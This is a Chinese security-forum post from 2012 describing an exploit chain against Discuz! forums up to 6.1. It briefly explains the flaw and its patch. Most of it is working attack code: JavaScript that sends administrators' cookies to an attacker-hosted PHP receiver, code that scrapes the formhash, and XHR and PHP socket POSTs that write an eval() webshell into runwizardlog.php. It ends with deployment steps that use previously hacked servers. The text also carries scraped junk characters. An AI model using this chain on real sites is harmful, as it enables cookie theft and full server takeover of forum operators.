找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3669|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell3 k+ I: [0 V* m9 s
By racle @tian6.com' R+ s: I5 l/ N; }9 Z
欢迎转帖.但请保留版权信息.
( T' k) n6 J& j- C, k7 @受影响版本iscuz<=6.1.0,gbk+utf+big51 J% ^8 @9 T0 q, m  S1 y
+ u) ]9 n' O7 D9 V$ F
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.; h, T! X/ R! [2 s- w  \- {
9 [/ M$ X+ k& T2 V8 J2 V
. t5 w. w- o4 f1 h- K
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706. Q3 W! r% j( P* _2 X
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.5 K( _# N/ a$ M; [
* r% x8 p- e/ P3 H; A/ i
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
4 g: Q: h8 z  s/ O# d本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS2 c2 w% V- C4 ^0 w4 x9 q

9 s, S  q  R0 L( q
: Q8 Z: k, h! O9 W9 i4 e----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------' n7 i2 t7 Q9 i9 I8 h

  k/ G$ X1 c; p/ k( w! M
# W/ o* [6 Z* G  F8 `- P, S, dproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.& {; S  N+ u( w8 |6 i

7 y! U4 Y! ^# c" \) Y2 \- hproblem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
% Y7 V6 y$ o  e) v% {% C1 T/ c4 I6 H9 W
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.) l* w$ M8 A) H8 u# B

% p0 D( L3 [% z
( |; m* ^0 u/ J! H下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
" T' u5 X; r% M" V. r" q
- y! K- l. U# b( b7 J* u        global $runwizardfile, $runwizardhistory;! k1 G3 m+ R) D9 C7 v" H% N% M

% s% B# k  i3 Z; t7 ?% |- [& R        $fp = fopen($runwizardfile, 'w');
. T6 d& N8 ]2 @  ^& e& w: s* o6 v4 W/ J( {- _' _6 e, A- G, o) r9 L
        fwrite($fp, serialize($runwizardhistory));6 Z! @& ~' T3 t3 N' [: A, Q9 @/ t
* Y. f3 P- ]+ y  i' r6 @  j
        fclose($fp);& m& R" b  G+ ?% k1 j/ X% m8 K6 Y
8 U6 t1 h9 P$ Z3 i" Z; a
}
! Q9 ^" m) y" x6 J( v复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
# G6 y1 l5 n: A7 e! o& r$ [. U以下是修补的办法:function saverunwizardhistory() {
: a; N. e0 ~+ W7 G9 v$ W1 u
8 n1 e$ z4 U, I$ h( Y        global $runwizardfile, $runwizardhistory;+ ^# \& U% W0 @
& D9 N* x1 E4 X0 u/ A, N5 u9 t  z4 o
        $fp = fopen($runwizardfile, 'w');! C) S/ z/ t; h1 J2 m& o2 _$ V# ?
- r" R( a5 E) y9 F3 k' }8 l/ i
        $s = '<?php exit;?>';
; L  N% P+ ]+ p- H* }: V8 Z& F9 N& I6 g- e
        $s .= serialize($runwizardhistory);/ ^$ V4 C' _7 S+ }/ ?) h8 ]
  w" Z8 g! l: D! O2 \; t5 [% k
        fwrite($fp, $s);
8 K* H  a! d7 u4 O, D
: \2 U2 \9 E$ D, r8 Y        fclose($fp);
/ f& T" k1 K! n9 `. j' E& I; U* x3 M' W5 p
}1 s$ I, R: m4 z. S+ m
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.- c# n7 a% P  N. o+ L7 Y

/ P( B* e" r( [5 v; z) b, W. H8 T+ P& K* j  Z) f- f1 r
' N! X7 C& U: V3 \
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------) m! [0 o: B# d  m

, z% ?2 X- H: r3 R' F9 _0 d) D' @
  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.4 T0 Q. [5 {+ g. T( u
( @2 z0 X; b5 k( Q* K
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.' d, C, M2 r+ u5 H: }6 Z0 l
' R: I: U0 a/ B# c, ]* @2 u
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
% N8 t* W( U. k! c( ~+ R/ ~% H
" ]3 \' o0 B: F$ `/ {- z) m首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
; E  M3 {* I" H7 o* A6 e( J7 D" }  b/ W) t0 d  l- l  g
var url="http://目标网站/admincp.php";      # a% I. z! d" W" E$ b* a1 P7 C
! L% m) V- t* g9 e: ?+ K1 w- {$ V
/*获得cookies*/
% M( A2 t) T8 M1 y3 `' ]* ]. y$ p
function getURL(s) {4 T  S( @- N4 {4 e/ F0 v
; |( i# E' U; d3 v9 w: [3 @
var image = new Image();9 G7 q. w& H2 W- u8 o

; u$ g8 D% b1 W1 @* n( X0 vimage.style.width = 0;
% k/ u9 @5 D3 M- m$ \5 V  j! b& G8 f% h& ^8 w
image.style.height = 0;
$ B+ m% r8 z% F( G  _( B& ~) C5 |7 {: d. O/ H* S
image.src = s;& U' F! [5 C  a- h( D; q
9 h, t# d) w( H. {, w" ~. D
}, O& g6 d- {- O, X) |8 x4 E
/ o1 p1 ?# [) ^! p: h+ v! j
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php
$ r2 ?+ {" e0 q) J! N9 m0 r复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
% ?1 D, V7 \  f/ g* U复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵)
4 B  L, j& i% z4 O/ Q/ N
2 S; s9 V: R; ?
+ M: o2 n9 K& t, E. t4 _1 c获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
  o- n1 K  Y+ ]3 ?6 b, M3 G; i  C" U, M9 y" A) s, W6 W
, i. P( h8 ]3 K8 H

  y6 N7 ~  x* j0 A/*hash*/
2 v- n9 O0 q. O' N; X* K* x+ J# [8 w$ }  c( I5 g$ g
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
% R" A. c3 Q$ E* n7 B/ ^, R( N0 D" U' |2 F
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);
' \. o! I5 g# r3 ?2 Z. O. ^, d: q2 z3 j0 d5 _
xmlHttpReq.send();" p1 k# R( \( ]8 N5 D0 w# V

# S7 i0 z* f6 ?) {var resource = xmlHttpReq.responseText;, _. t, A+ b7 U- U& U) `

6 a" N! J7 d8 ~6 B: nvar numero = resource.search(/formhash/);
/ X: G& F% P/ Z4 T# r6 e6 R
/ K+ e- I* [/ q1 h3 t- G4 u- k) S. ]var formhash=encodeURIComponent(resource.substr(numero+17,8));- \1 Q) V, r# r2 y% T

6 I4 N) t( T( F. C
* e7 P. \5 W6 B2 c
0 [0 t4 d6 m! v# i/ ]var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 5 A! ^- N" r4 V* j, `. t
+ I$ T! W! B5 l6 x5 M) O
xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 5 M9 Z- z$ t- M2 O1 O/ f# W
5 C  x$ P$ i/ c
xmlHttpReq.setRequestHeader("Referer", url);9 \) }  x. L1 ^

8 G8 p$ y: W; ]7 L8 Q5 v2 p4 D, cxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
$ R' U* |$ o; K5 C. `% P  p  f- q( u: ~
xmlHttpReq.setrequestheader("content-length",post.length); / F+ H' N1 t. R" m
6 M8 k" S6 D5 ?* A
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); - Q3 y0 J7 o3 i% v+ R) I
$ s+ a0 ?* E8 y" A+ P* ]* V
xmlHttpReq.send(post);//发送数据; @5 g9 u+ a8 J9 k
复制代码这里HASH我假设正确,这样提交,也无须cookies& t% H! w. O$ L" ], m; @7 J
# h6 F7 o+ I7 l4 a
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);  }' F( y- ?( \

9 q. g3 R( _1 C0 \/ Nif (!$sock) die("$errstr ($errno)\n");. p# T/ N8 m& }/ u" i' G- h6 _) V

4 D2 d( V8 x- W; P/ U+ v$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
( e2 E3 f( q: W5 j
( t4 R# A* H' v) v; H9 ?1 B) `
6 v2 S8 R# _6 a5 G; E* r5 ]1 t# s, _2 S( Q' h8 {$ t  X
fwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");, ~! @; s: u7 [4 K

% v. f9 t" K7 O1 ~, _' efwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");, a7 x( s% H& l! [% {  O' M3 J
' I! B/ Y6 m. C" M
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");( Z# S/ V( H2 S0 N
2 a" _# q  B( G1 G3 L  U& a4 g
fwrite($sock, "Accept-Language: zh-cn\r\n");& I6 p) B$ @- q, d* f
9 M% V5 m9 v% n' \
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
( `& J! K  b+ ?5 O: s- O9 g. j- f' b5 `7 \; o! T6 i% a. n8 M& s
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");% z- H  q' V7 {1 b9 @

) ~% H4 M; s4 X5 t* efwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");* }" B6 K* B) I, m  C

1 t) X7 d# F- Y: Xfwrite($sock, "Host: $url\r\n");
  q8 [- V( i0 L& j- L
0 D! S4 Z5 W- C! t7 U; D0 D# k" Ifwrite($sock, "Content-Length: ".strlen($data)."\r\n");
7 \% Q' {) y! J* x' a  L. ~2 M5 l8 ^# a; Y6 J
fwrite($sock, "Connection: Keep-Alive\r\n");+ ]- S( r9 {4 V) Y3 g  G

( s/ k1 ^9 m. B5 |, Q6 y  Kfwrite($sock, "Cache-Control: no-cache\r\n");
$ Y7 q" C5 V" a8 d/ \
% ^0 T- c9 K; O( hfwrite($sock, "Cookie:".$cookies."\r\n\r\n");
/ y) x+ ^1 |1 m; i  z0 F
# t1 H8 Y) H" K& m  o+ tfwrite($sock, $data);+ J, L; M) U( F) V  u; h
0 X; N/ P, Z3 g0 [4 K4 D
9 k$ m: a- z/ R! W; ^6 _

: n3 U$ ~3 S' C5 X# ~$headers = "";
& U8 k& `1 B! s' X0 V+ {& l+ l! D7 O. R- v
while ($str = trim(fgets($sock, 4096)))
( R7 Y- E0 P! f
: G5 ^2 k. P- ~     $headers .= "$str\n";
$ [3 W3 v+ ]% L! R& U/ N+ M
  G; H1 _5 R2 aecho "\n";3 H' U9 E1 B6 L8 N

+ ?7 I3 S7 d$ w0 m8 P3 ^( W$body = "";
4 R( S# e- V  \9 R# O: Q+ B2 h0 h% h6 x* ^1 |* A
while (!feof($sock))3 ]3 z( c2 ~- W  L3 J) ?
: R8 |3 f( O+ f; n! }
     $body .= fgets($sock, 4096);
" u! w& W7 c: R0 U+ O9 T5 m9 s# e1 }) w0 U0 O* q
fclose($sock);/ W: J/ [- q* b

( E% ]) D( r, ]$ d) w$ Recho $body;
$ I1 Q/ i* G4 [% C复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^; \% ^  |/ |- h, @! C

: z7 o. h, t1 l1 r: Q3 ]# C* t5 l/ E( Z2 _" R
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------4 r- A- @8 G3 o' o6 g" h+ U

. W* G3 A$ m1 T+ \) m, N
2 J  E6 o) k/ W1HP SOCKET利用方法首先打开racle.js8 S; t: J6 p& @( u+ C
8 i6 G5 L9 S, O- r* K. ^' R9 q
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
; @; ~/ }' a* k3 k0 b/ p3 c2 F# G1 q3 ~4 [5 p( {7 X1 s

* ]. i; o" W6 ?5 p2 o7 W! H7 P5 D4 T
然后打开racle@tian6.php
0 `8 f$ M2 S) s, U' F. r5 e- [) v9 p8 L/ h0 u
$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com  G. b, U  d& P! N

9 c3 {3 k  D6 ?3 U6 z# K1 q. R2 `6 p# r2 W7 g

: Y; ]) P! z, ?! Y# a如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:" v0 U" v8 u' A" c( M, y

+ D4 i6 Q6 S* M6 D! U' AgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
3 E, Y( |1 W4 q4 y. |+ o( A
) ?5 u* q  t/ e8 W  _) |: q% C8 |* u9 X( W
$ R' u# K! p( m) o4 \
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));2 d# D9 G& R- ^- @6 u$ `
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
" \4 n4 G' x2 a
7 \: u7 e" m+ T3 r. C5 [
. h* Z+ g1 s! M8 }- T
: C* [0 c# E" h) N# D; ~1 j" e* D如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
1 J2 R% A# m; `/ x5 o% e6 u
" S6 c9 a, Y& H0 c# R) ]var formhash=encodeURIComponent(resource.substr(numero+17,8));- m; t8 t- {$ W3 T
, ]( a" u3 g  \  B: U
& m) ~# E- r9 \# X8 Z2 V* M$ W
" U& g* t8 M! l& z  Z
var formhash=encodeURIComponent(resource.substr(numero+9,8));
3 C' q, g1 U9 T3 _( x% f7 h复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.& m/ C% f) X. n4 g* M) @. K

- C; B3 ]4 ]+ S  s如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.: I* a) W% s! u# z1 v9 y# C

/ l! ?. [2 R% }( ~" M如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
5 |: {5 x- C9 W; m0 @& C- J
: \, O9 b# z( e1 E4 z% j* _3 Q5 p不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.& }- M; Z9 X% J* _! P

/ W' u# S1 \0 W; f4 q" h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表